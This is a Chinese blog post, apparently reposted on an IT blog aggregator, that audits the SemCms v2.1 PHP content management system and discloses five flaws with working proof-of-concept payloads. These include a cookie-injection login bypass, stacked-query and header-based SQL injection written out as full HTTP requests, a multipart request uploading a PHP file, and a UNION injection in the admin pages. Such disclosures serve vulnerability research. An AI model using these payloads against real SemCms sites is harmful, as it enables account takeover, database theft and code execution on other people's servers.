IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Semcms v2.1 php诸多问题

    没穿底裤发表于 2017-03-05 02:15:00
    love 0

    Semcms简介

     SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。SemCms使用php和vbscript语言编写,结合apache或iis运行。SemCms主要从事于英文网站建设,外贸网站建设,外贸网站制作,外贸网站源码开发。 SemCms采用国际通用utf-8编码编写。SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。

    主要问题:

    1.这套系统的后台路径是右四个随机字符生成的,爆破总数量有四十多万,比一般默认后台路径的系统相对来说要安全一点。但如果要爆的话,只是时间问题。
    2.后台cookie登录处存在注入,可以任意用户登录。
    3.前台sql注入
    4.后台任意文件上传
    5.后台sql注入

    1.后台路径暴力破解
    install/index.php

            $ht_filename="";
            for ($i = 1; $i <= 4; $i++) {
                     $ht_filename.= chr(rand(97, 122));
                    ;}
            
            rename('../Admin', '../'.$ht_filename.'_Admin' ) or die ( "无法修改后台路径,请查看文件夹Admin权限,或手动更改Admin名称。错误信息: \n".mysql_error() );
        
            echo"<br><br><font color='red'>网站后台地址为:你的域名+".$ht_filename."_Admin/</font><br><font color='red'>请牢记,后台默认帐户:Admin 密码:1</font><br><br>";

    在_Admin前面随机加了4个字母.完全可以随机生成字典进行爆破.

    2.后台地址任意用户登录
    文件位置:/Admin/Include/function.php

    function checkuser(){ //判断账号 
        $cookieuser=@htmlspecialchars($_COOKIE["scuser"]);
        $cookieuserqx=@htmlspecialchars($_COOKIE["scuserqx"]);
        $sql="select * from sc_user where user_ps='$cookieuser' and user_qx='$cookieuserqx'"; 
        $result=mysql_query($sql); 
        $row = mysql_fetch_array($result,MYSQL_ASSOC); 
        if (!mysql_num_rows($result)){ echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";} 
        else {echo'';}     
      
    }

    可以看到cookie只简单的用htmlspecialchars()函数过滤了。我们知道这个函数用于将'&','''(单引号),'"'(双引号),'<'(小于号),'>'(大于号)转义为html实体字符。
    单引号,双引号被过滤了,就没办法了吗?当然不!
    我们让$cookieuser=,转义掉右边的单引号,使得$cookieuser左边单引号和$cookieuserqx左边的单引号成对,$cookieuserqx成功逃逸出单引号的包围。
    最终执行的sql语句应该是这样的:

    $sql="select * from sc_user where user_ps='\' and user_qx='or 1=1 #'";

    即实现了任意用户登录
    添加cookie

    Cookie: scuser=\; scuserqx=or 1=1 #


    添加cookie

    3.前台注入
    文件位置:Include/web_email.php

    if ($Type=="fintpassword"){
        
        
      if (@htmlspecialchars($_POST['Email']) !==""){ // 判断是否输入邮箱
            
        $sql="select * from sc_user where user_email='".$_POST['Email']."'"; 
        $result=mysql_query($sql); 
        $row = mysql_fetch_array($result,MYSQL_ASSOC); 
        if (mysql_num_rows($result)>0) 
            { 
       $fsjs=rand(10,10000);  //邮件认证码 
       $fhurl=str_replace("SEMCMS_Remail.php","",$_POST['furl']);
       $smtpusermail=$smtpemailto;
       $smtptoemail=@htmlspecialchars($_POST['Email']);
       $mailtitle="来自".$_SERVER['SERVER_NAME']."密码找回邮件!";
       $mailcontent="网站管理员你好:<br>你的邮箱是:".$_POST['Email']."<br> 点击<a href='".$fhurl."?umail=".$_POST['Email']."&type=ok' target='_blank'>找回密码</a>"
               . " 或者复制以下链接到浏览器浏览 <br>"
               . "".$fhurl."?umail=".$_POST['Email']."&type=ok <br>认证码:".$fsjs."<br>请妥善保管!";
       
      mysql_query("UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='".$_POST['Email']."'");
     ......
     elseif ($Type=="MSG"){ //询盘发送!
        
     $msg_email=@htmlspecialchars($_POST['mail']);
     $msg_content=@htmlspecialchars($_POST['tent']);
     $msg_pid=@htmlspecialchars($_POST['PID']);
     $msg_languageID=@htmlspecialchars($_POST['languageID']);
     $msg_ip=getRealIp();
     
     
    if(preg_match('/^[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+)*@(?:[-_a-z0-9][-_a-z0-9]*\.)*(?:[a-z0-9][-a-z0-9]{0,62})\.(?:(?:[a-z]{2}\.)?[a-z]{2,})$/i',$msg_email) && $msg_content!==""){ 
        //写入数据库
          mysql_query("INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)"
             . "VALUES ('$msg_pid','$msg_email','$msg_content','$msg_ip','$msg_languageID')");  

    在type==fintpassword的过程中.虽然判断了Email不能为空.但是实际查询的时候却放弃了htmlspecialchars.

    $sql="select * from sc_user where user_email='".$_POST['Email']."'"; 

    这里可以直接执行多语句.比如我们看下面的update.

    mysql_query("UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='".$_POST['Email']."'");

    实际测试一下.发一个post请求包

    POST /Include/web_email.php?type=fintpassword HTTP/1.1
    Host: 192.168.87.128
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 92
    
    Email=41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#

    实际执行的sql语句却是

    select * from sc_user where user_email='41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#'

    可以达到执行任意语句的效果.

    另外一处就是Type=="MSG".这里面主要就是获取了ip然后入库的时候出了点毛病

    function getRealIp()
    {
        $ip=false;
        if(!empty($_SERVER["HTTP_CLIENT_IP"])){
            $ip = $_SERVER["HTTP_CLIENT_IP"];
        }
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
            for ($i = 0; $i < count($ips); $i++) {
                if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
                    $ip = $ips[$i];
                    break;
                }
            }
        }
        return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
    }

    测试数据包

    POST /Include/web_email.php?type=MSG HTTP/1.1
    Host: 192.168.87.128
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10
    X-Forwarded-For: 127.0.0.1'or extractvalue(1,concat(0x7e,database())) or'
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 79
    
    mail=41864438@qq.com&tent=fucktest&button=Inquiry%2Bnow&PID=22&languageID=1

    有意思的是这个执行insert仅仅就是插入了而已,并不关心是否插入成功..执行的语句是

    INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)VALUES ('22','41864438@qq.com','fucktest','127.0.0.1'or extractvalue(1,concat(0x7e,database())) or'','1')

    4.后台任意文件上传
    文件地址:xxx_Admin/SEMCMS_Upfile.php。我去掉了注释方便阅读

    <?php
    if (($_FILES["file"]["size"] > 1) && ($_FILES["file"]["size"] < 30240000))
      {
      if ($_FILES["file"]["error"] > 0)
        {
          echo "<script language='javascript'>alert('上传失败,返回重新选择');history.go(-1);</script>";
        }
      else
        {
          //文件存放路径
          $Imageurl=$_POST["imageurl"];
          $filed=$_POST["filed"];
          $filedname=$_POST["filedname"];
          $uptype = explode(".",$_FILES["file"]["name"]);//获取扩展名
          if (test_input($_POST["wname"])!==""){//自定义文件名
            $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名  
          }else{
               $rand=rand(10,100);//随机数
               $date = date("ymdhis").$rand;//文件名:时间+随机数
               $newname=$date.".".end($uptype); //新的文件名
          }
                move_uploaded_file($_FILES["file"]["tmp_name"],$Imageurl.$newname); //文件写入文件夹 
                 
                echo"<script language='javascript'>window.opener.document.".$filedname.".".$filed.".value='".$Imageurl.$newname."';</script>";
                echo"<script language='javascript'>window.close();</script>";
        }
      }
    else
      {
      //echo "Invalid file";
    echo "<script language='javascript'>alert('1.请检查文件上传类型.\\n 允许:jpe,gif,png,doc,xls,pdf,rar,zip,bmp \\n2.上传大小1M之内.');history.go(-1);</script>";
      }
    ?>

    肯定是我看错了.不知道他的验证去哪里了..我一定是下载了一个假的文件包.结合前面的cookie欺骗。也构造一个post包

    POST /xdan_Admin/SEMCMS_Upfile.php HTTP/1.1
    Host: 192.168.87.128
    Content-Length: 685
    Cache-Control: max-age=0
    Origin: http://192.168.87.128
    Upgrade-Insecure-Requests: 1
    User-Agent: Http-Client-superagent
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBqXrzJtqlyx3NBh
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Referer: http://192.168.87.128/xdan_Admin/SEMCMS_Upload.php?Imageurl=../Images/default/&filed=web_logo&filedname=form
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
    Cookie: scuser=\; scuserqx=or 1=1 #
    Connection: close
    
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="wname"
    
    
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    <?php phpinfo();?>
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="imageurl"
    
    ../
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="filed"
    
    web_logo
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="filedname"
    
    form
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh
    Content-Disposition: form-data; name="submit"
    
    Submit
    ------WebKitFormBoundarypBqXrzJtqlyx3NBh--


    5.后台sql注入。
    比较多,

    列举一个灰常典型的
    xxxx_Admin/SEMCMS_Banner.php

    <?php 
     $sql=mysql_query("select * from sc_banner where languageID=".$_GET["lgid"]."");     
     $all_num=mysql_num_rows($sql); //总条数
     $page_num=10; //每页条数
     $page_all_num = ceil($all_num/$page_num); //总页数
     $page=empty($_GET['page'])?1:$_GET['page']; //当前页数
     $page=(int)$page; //安全强制转换
     $limit_st = ($page-1)*$page_num; //起始数
        $sql="select  * from  sc_banner where languageID=".$_GET['lgid']." order by ID desc  limit $limit_st,$page_num ";
        $query=mysql_query($sql);
        Panduans(mysql_num_rows($query));

    对GET参数没有处理.直接注入

    select  * from  sc_banner where languageID=1 and 1=1 union select 1,2,concat(user(),0xa3a,version()),4,5,6,7# order by ID desc  limit 0,10



沪ICP备19023445号-2号
友情链接